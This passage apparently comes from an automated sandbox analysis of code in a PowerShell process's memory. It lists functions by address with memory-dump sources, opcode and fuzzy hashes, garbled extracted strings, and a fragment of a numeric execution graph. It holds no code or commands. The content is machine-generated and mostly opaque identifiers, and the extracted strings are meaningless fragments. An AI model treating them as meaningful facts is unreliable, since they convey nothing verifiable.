                                                            Function 03498739 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5c910eacdf075e35269b9d492d870408dfea96daa92d6afd04b5c54871bec41e
                                                            • Instruction ID: 95e3895257c5bae4b04f3abeee61aa1a8262abde602a6c1094d4e9fcf0e5b17a
                                                            • Opcode Fuzzy Hash: 5c910eacdf075e35269b9d492d870408dfea96daa92d6afd04b5c54871bec41e
                                                            • Instruction Fuzzy Hash: 8BE092309151199BDF09FBB8DC4A5BDBF34EA02210B0041EFC66295286DA21558BCB85
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03498978 Relevance: .0, Instructions: 24COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9dbb3815357d19aaf9643022a3f717e9735cba3b96eb57154753f8ea8c416737
                                                            • Instruction ID: 88ebb676eb9f7ff6d87544802ed03a51253f0632cc541d49d55bef30ccce5b80
                                                            • Opcode Fuzzy Hash: 9dbb3815357d19aaf9643022a3f717e9735cba3b96eb57154753f8ea8c416737
                                                            • Instruction Fuzzy Hash: 3FE0DF3970461067CB083775A40C2AE7A56EBC4724F00402FD62A87346DF38481683D9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03499550 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2ac9d1c48a73dbdd9457b1e272436c76f3359273b7a473d86e7b8f518ff0856d
                                                            • Instruction ID: dbf5b9b8f58e285ad2c944a9357bbae6a1dd97fa25958b2fc0b8ca797dacee70
                                                            • Opcode Fuzzy Hash: 2ac9d1c48a73dbdd9457b1e272436c76f3359273b7a473d86e7b8f518ff0856d
                                                            • Instruction Fuzzy Hash: 04D05E177012A51F6D94E0BF58107BBA9CF8AC64A1709003F9A09CF341EE40CC0143F9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03498800 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 824fac4ea3075b536ff828f6b776b4e3a66446102683ef535dbcd3183b1a55ab
                                                            • Instruction ID: 9ec4ace178dabf0c5cf60d3add1208bf8f77bc6204308b859ae26829fc9e109e
                                                            • Opcode Fuzzy Hash: 824fac4ea3075b536ff828f6b776b4e3a66446102683ef535dbcd3183b1a55ab
                                                            • Instruction Fuzzy Hash: DBE09234A1824A9B8B04DF68D446969BFB4DB56304B0084ABDE599B246DA316853CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DD70 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction ID: 002bec637b0437612159d146cba1a1a3833e6f16184d10cf359da09c869c728e
                                                            • Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction Fuzzy Hash: 40E08631B000189B8F08D699D4504D9FBA5DFCD220F04847FD91AA7340DA3269168695
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DD20 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 18b83f620b4ab8bc54fc30ff3ae7a30ae56c8ff21edd13b26dc6d78b54aabec5
                                                            • Instruction ID: 37e5d93a90c5f5546da95549344fe16f306b368c9724796cc225b66ce9104072
                                                            • Opcode Fuzzy Hash: 18b83f620b4ab8bc54fc30ff3ae7a30ae56c8ff21edd13b26dc6d78b54aabec5
                                                            • Instruction Fuzzy Hash: D8E07231B006140B8611A62EA80088FBBEADFC9270340842FE02ACB300CF64EC0243E8
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349F460 Relevance: .0, Instructions: 18COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b09fadbc4e1112997ae40cfeb371ca8fc154aedb3ac57dba3c048b26d9f7371e
                                                            • Instruction ID: a7b72a2b8f4168fd421f566cb9b103a6c737633040744c0a0661d5399910e882
                                                            • Opcode Fuzzy Hash: b09fadbc4e1112997ae40cfeb371ca8fc154aedb3ac57dba3c048b26d9f7371e
                                                            • Instruction Fuzzy Hash: 7AE01A70D0014AAE8B80DFA9954155EFFF0AF09200B1084AA9908EB211E63186028B81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349F470 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction ID: 5502de72fa529a0099fbeec9dcd8b23ba7323637c695f47f7d1757d5c599892d
                                                            • Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction Fuzzy Hash: 49D067B0D042099F8B80EFADC94156EFFF4EB58200F6085AB8919E7301E7329A12CBD5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03498748 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6f00bf2ec9e15daee4b2fc050e2da3dde54c6fe59820a380081c196020f70407
                                                            • Instruction ID: ca08fa9c69090519f91605362ff8a02fbdbbd3617f01e2ded0897f1d3221cd96
                                                            • Opcode Fuzzy Hash: 6f00bf2ec9e15daee4b2fc050e2da3dde54c6fe59820a380081c196020f70407
                                                            • Instruction Fuzzy Hash: 10D067318151099BCF08FBA4E85A4BDBB74FA14301F4181AED96752296EA312A9BCAC5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03498810 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e6d30a03a7e6a92d562c0d34a379c412d4229b83def69d708e473961a4224417
                                                            • Instruction ID: 65cdf8efe46edce276a7601ff9164cc5f407085c08b062d4f30c24936857c906
                                                            • Opcode Fuzzy Hash: e6d30a03a7e6a92d562c0d34a379c412d4229b83def69d708e473961a4224417
                                                            • Instruction Fuzzy Hash: E9D05B34D1420A9FCB04EF65D44686DBFB4E745304F00815ADE5593345EA305C52CFC5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497938 Relevance: .0, Instructions: 10COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ea75f152716a58ff51315fd336f382559f74f6955f45f87cce559d2596a98424
                                                            • Instruction ID: 8288286b0e3daae7be085be60697a81fe0e7b2ee9aff6ef9b60f20d5d57bb239
                                                            • Opcode Fuzzy Hash: ea75f152716a58ff51315fd336f382559f74f6955f45f87cce559d2596a98424
                                                            • Instruction Fuzzy Hash: 9FC012350443899BCB06AF79D0888883B60EB0021431009ADE80B8A2A3CA32808ACF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497EA0 Relevance: .0, Instructions: 9COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 423fd122bd7bf80798c8cdf2e8b0c7c1769e4a0651dd1ffc6630270eca637bae
                                                            • Instruction ID: c2461159d5644958d4b455ba53720d6ddbc8aa1f749f26d7f31053c0bff94ad4
                                                            • Opcode Fuzzy Hash: 423fd122bd7bf80798c8cdf2e8b0c7c1769e4a0651dd1ffc6630270eca637bae
                                                            • Instruction Fuzzy Hash: DEB0926958AA999EE20247714CA1395AFA27382150FCE429E81848BA91DD5E494DCF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497940 Relevance: .0, Instructions: 8COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0d7f29a4dbd1104b4e773ed5c5a8959644602198df55df290fa958e92e282fd9
                                                            • Instruction ID: 514b8b8de9fb726b3b0e5ed9b2659b56fe555e7c8aecaf3892e84c80eb444c2b
                                                            • Opcode Fuzzy Hash: 0d7f29a4dbd1104b4e773ed5c5a8959644602198df55df290fa958e92e282fd9
                                                            • Instruction Fuzzy Hash: 42B0923204470D8FC2497F76E4098147329FB4021938008E8E90E0B3A28E36E88ACA45
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Non-executed Functions

                                                            Function 07B81D80 Relevance: 15.3, Strings: 12, Instructions: 292COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $c\k$4'^q$4'^q$84gl$84gl$tP^q$tP^q$Jjl$Jjl$Jjl$Jjl$Jjl
                                                            • API String ID: 0-1219812022
                                                            • Opcode ID: 8f148febf5351114c2a9d5cbc430e9ef207c153f5b6c44d8c6c19ca3de18ae70
                                                            • Instruction ID: 164dd6d3a569acf46e4f8741f4363ead8c253aa4d63cb20288e39309febb995b
                                                            • Opcode Fuzzy Hash: 8f148febf5351114c2a9d5cbc430e9ef207c153f5b6c44d8c6c19ca3de18ae70
                                                            • Instruction Fuzzy Hash: 52915CF1B0520E8FE765AA6C98046A7FBA2EFC1311F1884EFD555CB255DB32C846C3A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B83928 Relevance: 12.8, Strings: 10, Instructions: 317COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-648847570
                                                            • Opcode ID: 60082df599d0ab80d4d23c6fce69e3b6c123077180ed42e4571ea0e98c1a9408
                                                            • Instruction ID: 31508b144118ea5e24d1be71aead5ead1771d10659f4c996646d2b2d5f99397c
                                                            • Opcode Fuzzy Hash: 60082df599d0ab80d4d23c6fce69e3b6c123077180ed42e4571ea0e98c1a9408
                                                            • Instruction Fuzzy Hash: 41A168F17043169FE764AA69D81076EBBE6EFC5A10F1484EAE405CF391DA32C845C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B80FB8 Relevance: 12.7, Strings: 10, Instructions: 184COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: fcq$84gl$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
                                                            • API String ID: 0-2030860320
                                                            • Opcode ID: 33c835e51158ca236eaf34724918fbc40052ea30b8331d77f2b9b743506a6862
                                                            • Instruction ID: 73b74136ca6c176a8daab60b7e18c0922a3064d99bf4d988a86bcf552104e827
                                                            • Opcode Fuzzy Hash: 33c835e51158ca236eaf34724918fbc40052ea30b8331d77f2b9b743506a6862
                                                            • Instruction Fuzzy Hash: F9619FF0A1620EDFEB64EE0CC944BAA77F6EB45351F1480D9E8119B290C731DD86CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B80488 Relevance: 9.2, Strings: 7, Instructions: 494COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: fcq$4'^q$4'^q$4'^q$4'^q$ril$ril
                                                            • API String ID: 0-2717235547
                                                            • Opcode ID: ad240c64f74488a41dff7a093d38807cec54f16bc8b35e4ceda6b44504384252
                                                            • Instruction ID: 05aec0192a599402ba753f01c8287ff8ae17713446518083771125cdecf70eca
                                                            • Opcode Fuzzy Hash: ad240c64f74488a41dff7a093d38807cec54f16bc8b35e4ceda6b44504384252
                                                            • Instruction Fuzzy Hash: 9CF156B1B043468FE715BB69D4107AABBE2EFC2351F1884FBD545CB251DA31C889C7A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B83678 Relevance: 8.9, Strings: 7, Instructions: 183COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-4286007357
                                                            • Opcode ID: 649f93f260c8f8ee570c088e680a37f29a40a4a3868fa6a11b56ee77deb01e39
                                                            • Instruction ID: c35942ea11b23abe64c330c15d4fd8f33963bd3f01c9fe9a1e8233a1a4905222
                                                            • Opcode Fuzzy Hash: 649f93f260c8f8ee570c088e680a37f29a40a4a3868fa6a11b56ee77deb01e39
                                                            • Instruction Fuzzy Hash: 215146F57042069FEB646A698814B6EBBE6EFC2B10F2484FBD405CB351DA35C885C791
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497A21 Relevance: 6.5, Strings: 5, Instructions: 237COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 8e04c055683095c8ab6969925405178092fa7de75207d33feb342920413830d3
                                                            • Instruction ID: 718a0b72cdf886c5277cca1f31ef09bfab9ecbe5bf74b35a1317aa7d47a6592a
                                                            • Opcode Fuzzy Hash: 8e04c055683095c8ab6969925405178092fa7de75207d33feb342920413830d3
                                                            • Instruction Fuzzy Hash: BBB1A574E002099FDB54DFA9D980A9EFBF2FF88310F14862AD419AB354DB34A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497A30 Relevance: 6.5, Strings: 5, Instructions: 234COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 52e626f279f25f4dfb2b2cec13513cace92ff31596841fbb86cdc2cfec9f0641
                                                            • Instruction ID: c8696177670d37dea7a067d5407c1a711f326894fc5141a40a2ba7b4576b7c01
                                                            • Opcode Fuzzy Hash: 52e626f279f25f4dfb2b2cec13513cace92ff31596841fbb86cdc2cfec9f0641
                                                            • Instruction Fuzzy Hash: 66B1A574E002099FDB54DFA9D980A9EFBF2FF88300F14862AD419AB314DB34A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B81EF1 Relevance: 6.3, Strings: 5, Instructions: 87COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$84gl$tP^q$Jjl$Jjl
                                                            • API String ID: 0-934703009
                                                            • Opcode ID: a51450d83a0061b6298ffa0fa68cfe724e20689c8a4e8172253bb21c711d5996
                                                            • Instruction ID: 82e31e699e1091a82121e2bf40e02accd553e580f74b17096b6f0fe70aa073ee
                                                            • Opcode Fuzzy Hash: a51450d83a0061b6298ffa0fa68cfe724e20689c8a4e8172253bb21c711d5996
                                                            • Instruction Fuzzy Hash: 2B21C3F1A0220FDFFB65AE488445BB6BBA2FF81711F1880EAD6145F155C772D882C6A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B85798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$$^q$$^q
                                                            • API String ID: 0-2125118731
                                                            • Opcode ID: 251bf9c13cb35b40c56b47c7508d20362e86e5ad7d58cf289592dd5f54edabcd
                                                            • Instruction ID: 89e15f8b7940fb81b7a736fe1581c6308cd568cec75651bab0af633b1058777f
                                                            • Opcode Fuzzy Hash: 251bf9c13cb35b40c56b47c7508d20362e86e5ad7d58cf289592dd5f54edabcd
                                                            • Instruction Fuzzy Hash: 972137F57002069BFBB4696A8804B27B7DAAFC0711F24846BA505CF385DD76C851C361
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B822E9 Relevance: 5.1, Strings: 4, Instructions: 83COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$pi1k$Jjl$Jjl
                                                            • API String ID: 0-504072882
                                                            • Opcode ID: b8fb700d6c58665176fd5d0f269bbb718743edd54489748a3ed58053a417457a
                                                            • Instruction ID: 0d7515410b5ef03ada3521000b745e22f8a3808c26c32edc34b66ca0a131b8f0
                                                            • Opcode Fuzzy Hash: b8fb700d6c58665176fd5d0f269bbb718743edd54489748a3ed58053a417457a
                                                            • Instruction Fuzzy Hash: 8121E4F5904306DFFBA1AF14C5506E9BBB0FF02211F0880EBD9188B251D735C984CBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03494C62 Relevance: 5.1, Strings: 4, Instructions: 78COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: bo^$bo^$bo^$bo^
                                                            • API String ID: 0-2291936277
                                                            • Opcode ID: 1e25cd33e54c0fccbec8c4dcbee5164cc770bc7e3a4135d310b1a376bd607b28
                                                            • Instruction ID: 30f9406092306138e80bb0f37656e730f497b844aba7bd1065bfc6472e46a14d
                                                            • Opcode Fuzzy Hash: 1e25cd33e54c0fccbec8c4dcbee5164cc770bc7e3a4135d310b1a376bd607b28
                                                            • Instruction Fuzzy Hash: 6731295250E3D15FD3069B2C68B83C43F61AFA3288F1E40EBC1D48F097D916585F879A
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B82209 Relevance: 5.0, Strings: 4, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Tc\k$lc\k$Jjl$Jjl
                                                            • API String ID: 0-1881414614
                                                            • Opcode ID: 9b2a746f5f3e554900d14b637adbc950feac8c66c38faba5d5ba8ce77973a14c
                                                            • Instruction ID: e32bec07d7753f35711b8941646cf8a80f98ae51ae307da8958ebafe4b7f9c7e
                                                            • Opcode Fuzzy Hash: 9b2a746f5f3e554900d14b637adbc950feac8c66c38faba5d5ba8ce77973a14c
                                                            • Instruction Fuzzy Hash: 5F0128B1708361AFD20157585C12BE37F916F83710F0549E7D5409F6A6C9709C85C7AA
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B82109 Relevance: 5.0, Strings: 4, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$Jjl$Jjl
                                                            • API String ID: 0-3212985832
                                                            • Opcode ID: ff637eb5213eb9518391decdbde14bbb789c5fd9c9a504b465751acb1bfc9d42
                                                            • Instruction ID: 9fbbf7afb680424f3326065b466c679d2a1d5d6e9ca299dda7bb65b43870c38f
                                                            • Opcode Fuzzy Hash: ff637eb5213eb9518391decdbde14bbb789c5fd9c9a504b465751acb1bfc9d42
                                                            • Instruction Fuzzy Hash: E401D4B1A093918FD32326588C102966FA6AFD3A10B2945D7C280DF36EC9358C49C3A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B80309 Relevance: 5.0, Strings: 4, Instructions: 47COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q
                                                            • API String ID: 0-2049395529
                                                            • Opcode ID: 528fbc8bbc6089222163b1722943828f1d3a34990cb5384215d3b0f999b094e2
                                                            • Instruction ID: d977431982da7f414edc65bfc5ceb7898754ae33e487676d58ad174133b9d459
                                                            • Opcode Fuzzy Hash: 528fbc8bbc6089222163b1722943828f1d3a34990cb5384215d3b0f999b094e2
                                                            • Instruction Fuzzy Hash: 6301A2A1B0D3964FD32B266898202656FB29F86A90B2944EBC041DF397CD258D4DC3A7
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Execution Graph

                                                            Execution Coverage:6.2%
                                                            Dynamic/Decrypted Code Coverage:100%
                                                            Signature Coverage:0%
                                                            Total number of Nodes:175
                                                            Total number of Limit Nodes:1
                                                            execution_graph 24458 313af50 24459 313af65 24458->24459 24460 313af7b 24459->24460 24462 313afff 24459->24462 24463 313afed 24462->24463 24464 313b007 24462->24464 24463->24460 24464->24463 24467 313c99b 24464->24467 24471 313c9a8 24464->24471 24468 313c9a8 24467->24468 24475 313ccac 24468->24475 24472 313c9bd 24471->24472 24474 313ccac 10 API calls 24472->24474 24473 313c9df 24473->24463 24474->24473 24476 313ce24 24475->24476 24480 313d671 24476->24480 24498 313d680 24476->24498 24477 313ce58 24481 313d680 24480->24481 24516 313e512 24481->24516 24521 313d8ec 24481->24521 24526 313e628 24481->24526 24530 313ddc9 24481->24530 24535 313d969 24481->24535 24539 313db66 24481->24539 24544 313dfc6 24481->24544 24549 313e340 24481->24549 24554 313e6c1 24481->24554 24559 313e5a2 24481->24559 24563 313dd22 24481->24563 24568 313e0fe 24481->24568 24573 313da98 24481->24573 24577 313da7a 24481->24577 24582 313e1b0 24481->24582 24482 313d6b7 24482->24477 24499 313d695 24498->24499 24501 313e512 2 API calls 24499->24501 24502 313e1b0 2 API calls 24499->24502 24503 313da7a 2 API calls 24499->24503 24504 313da98 2 API calls 24499->24504 24505 313e0fe 2 API calls 24499->24505 24506 313dd22 2 API calls 24499->24506 24507 313e5a2 2 API calls 24499->24507 24508 313e6c1 2 API calls 24499->24508 24509 313e340 2 API calls 24499->24509 24510 313dfc6 2 API calls 24499->24510 24511 313db66 2 API calls 24499->24511 24512 313d969 2 API calls 24499->24512 24513 313ddc9 2 API calls 24499->24513 24514 313e628 2 API calls 24499->24514 24515 313d8ec 2 API calls 24499->24515 24500 313d6b7 24500->24477 24501->24500 24502->24500 24503->24500 24504->24500 24505->24500 24506->24500 24507->24500 24508->24500 24509->24500 24510->24500 24511->24500 24512->24500 24513->24500 24514->24500 24515->24500 24517 313e518 24516->24517 24587 313fd98 24517->24587 24592 313fd88 24517->24592 